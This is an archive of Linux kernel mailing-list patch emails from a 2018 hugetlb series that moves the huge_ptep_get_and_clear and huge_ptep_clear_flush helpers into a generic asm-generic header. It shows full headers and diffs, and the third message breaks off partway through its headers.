Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH v7 04/11] hugetlb: Introduce generic version of
 huge_ptep_get_and_clear
Date: Thu, 20 Sep 2018 06:03:51 +0000
Lines: 171
Approved: news@gmane.org
Message-ID: <20180920060358.16606-5-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1537423639 26114 195.159.176.226 (20 Sep 2018 06:07:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:07:19 +0000 (UTC)
Cc: linux-mips@linux-mips.org, dalias@libc.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org, will.deacon@arm.com,
 jejb@parisc-linux.org, linux-mm@kvack.org, paulus@samba.org, hpa@zytor.com,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 ysato@users.sourceforge.jp, mpe@ellerman.id.au, deller@gmx.de, x86@kernel.org,
 linux@armlinux.org.uk, mingo@redhat.com, catalin.marinas@arm.com,
 jhogan@kernel.org, fenghua.yu@intel.com, arnd@arndb.de, tglx@linutronix.de,
 linux-arm-kernel@lists.infradead.org, tony.luck@intel.com,
 Alexandre Ghiti <alex@ghiti.fr>, linux-parisc@vger.kernel.org,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, paul.burton@mips.com,
 linuxppc-dev@lists.ozlabs.org, davem@davemloft.net, mike.kravetz@oracle.com
To: akpm@linux-foundation.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Sep 20 08:07:12 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1g2s7L-0006dQ-G4
	for linux-arm-kernel@m.gmane.org; Thu, 20 Sep 2018 08:07:11 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=7vLICw70UJZ/hyXb/LrYsMuFS6e2sArmeL3Q9St+g/A=; b=VtaKU4fS+D907XBWyrvt7q9YU0
	k3NDNBPwgNLI1eAa8scov3WGZ9Dul4BnTfW1aAlYx5uZ0y3M8M4eqEItCvlGxmVva0lKpz0U8LFCL
	tCSL55kA9K0Dy2JvHcJEYjW3oNgM/dl+Xd9a4PcRVkqUhWX3amH7WyO81PFMePUDiXY3vktL1bZpw
	zCQKNZ2PfeYhP7mnGtfqSICb/m2hhrpRIKY6P31XYyjiKWOX0N7j+C942lvJ67pREhM21hXod/Rtn
	jpbu/lQzyAlx8At9FbX21Rm2eoXI0ufu/WtxG8L78dNPWvnrnbDE7Fu5a3r4pXqgLWrnX0AFXVkLA
	3e5WNdOQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g2s9O-0007lv-Op; Thu, 20 Sep 2018 06:09:18 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g2s9J-0007lc-O1
 for linux-arm-kernel@bombadil.infradead.org; Thu, 20 Sep 2018 06:09:13 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=References:In-Reply-To:Message-Id:Date:
 Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=w6ekfLOlQT03XdLpMjhHLNbo63+NgedDLkJv8GgLaD4=; b=TTSaW6dWWXnzy+6zvr7HWe7LU
 hA0MmOn4CSKboSNo4XBuuohBCOfuyNsBmJSop/xy01jn79cIwEJG/ieATR+V2TtvmeX+lw5Ar4Bj7
 FTENZIOmzEogADAJptRqiXpvVg4I8GYKI/OflDRfb+dplSevVyAbUQAB5QG5l7CiwseXm5jVLkKZK
 snUFSLomyB2Fn554piPWdvNBU8q5n8TkJLbiK3s1B38boDZofjDncUYhGhesBvOo7ZQSVYMrEjSIa
 a3vMvelxFYj4evBAWToqx1bwc2G4FVl+xH3128OlqUfgGepHBP3GLdfRjM+mHSjStrZGh1Vysue6I
 JmJobfGcA==;
Original-Received: from relay9-d.mail.gandi.net ([217.70.183.199])
 by merlin.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g2s9G-0007lj-Q7
 for linux-arm-kernel@lists.infradead.org; Thu, 20 Sep 2018 06:09:11 +0000
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay9-d.mail.gandi.net (Postfix) with ESMTPSA id 0C043FF808;
 Thu, 20 Sep 2018 06:08:33 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180920_020911_066636_C0F88911 
X-CRM114-Status: GOOD (  12.32  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on merlin.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.183.199 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:675044 gmane.linux.ports.mips.general:66739 gmane.linux.ports.ia64:29253 gmane.linux.ports.sh.devel:57528 gmane.linux.kernel.mm:203579 gmane.linux.ports.sparc:28450 gmane.linux.kernel.cross-arch:46624 gmane.linux.ports.parisc:28980 gmane.linux.kernel:2876061 gmane.linux.ports.ppc64.devel:162758
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/675044>

arm, ia64, sh, x86 architectures use the
same version of huge_ptep_get_and_clear, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 13 insertions(+), 24 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 398fb06e8207..ad36e84b819a 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	ptep_set_wrprotect(mm, addr, ptep);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 874661a1dff1..6ae0bcafe162 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index a235d6f60fb3..6719c74da0de 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 8ea439041d5d..0959cc5a41fa 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 77c8adbac7c3..6e281e1bb336 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -8,6 +8,7 @@
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 33b899624922..91bdc84b76ce 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -129,6 +129,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index bc552e37c1c9..08ee6c00b5e9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 16b0c53ea6c9..944e3a4bfaff 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 8db9a761964d..e9e7fef867ad 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ee010b756246..0f6f151780dd 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
+static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	return ptep_get_and_clear(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 05/11] hugetlb: Introduce generic version of huge_ptep_clear_flush
Date: Thu, 20 Sep 2018 06:03:52 +0000
Lines: 163
Approved: news@gmane.org
Message-ID: <20180920060358.16606-6-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537423668 28506 195.159.176.226 (20 Sep 2018 06:07:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:07:48 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:07:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2s7o-0007Ed-10
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:07:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731914AbeITLvc (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:51:32 -0400
Original-Received: from relay2-d.mail.gandi.net ([217.70.183.194]:50131 "EHLO
        relay2-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731260AbeITLvc (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:51:32 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay2-d.mail.gandi.net (Postfix) with ESMTPSA id 1A3AC40003;
        Thu, 20 Sep 2018 06:09:39 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876063 gmane.linux.kernel.mm:203580 gmane.linux.ports.arm.kernel:675045 gmane.linux.ports.ia64:29254 gmane.linux.ports.mips.general:66740 gmane.linux.ports.parisc:28981 gmane.linux.ports.ppc64.devel:162759 gmane.linux.ports.sh.devel:57529 gmane.linux.ports.sparc:28451 gmane.linux.kernel.cross-arch:46625
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876063>

arm, x86 architectures use the same version of
huge_ptep_clear_flush, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 1 +
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 1 +
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index ad36e84b819a..b897541520ef 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 6ae0bcafe162..4c8dd488554d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -71,6 +71,7 @@ extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTE_CLEAR
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 6719c74da0de..41b5f6adeee4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 0959cc5a41fa..7df1f116a3cc 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 	return pte;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 6e281e1bb336..9afff26747a1 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 91bdc84b76ce..1eb3e131cab4 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -140,6 +140,7 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 #endif
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 08ee6c00b5e9..9abf9c86b769 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,6 +25,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 944e3a4bfaff..651a9593fcee 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index e9e7fef867ad..fd59673e7a0a 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline int huge_pte_none(pte_t pte)
 {
 	return pte_none(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 0f6f151780dd..ffa63fd8388d 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_clear_flush(vma, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 06/11] hugetlb: Introduce generic version of huge_pte_none
Date: Thu, 20 Sep 2018 06:03:53 +0000
Lines: 184
Approved: news@gmane.org
Message-ID: <20180920060358.16606-7-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537423736 833 195.159.176.226 (20 Sep 2018 06:08:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:08:56 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:08:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2s8t-0008Rn-Jn
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:08:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731973AbeITLwk (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:52:40 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:38065 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730172AbeITLwk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:52:40 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 1F44FC000A;
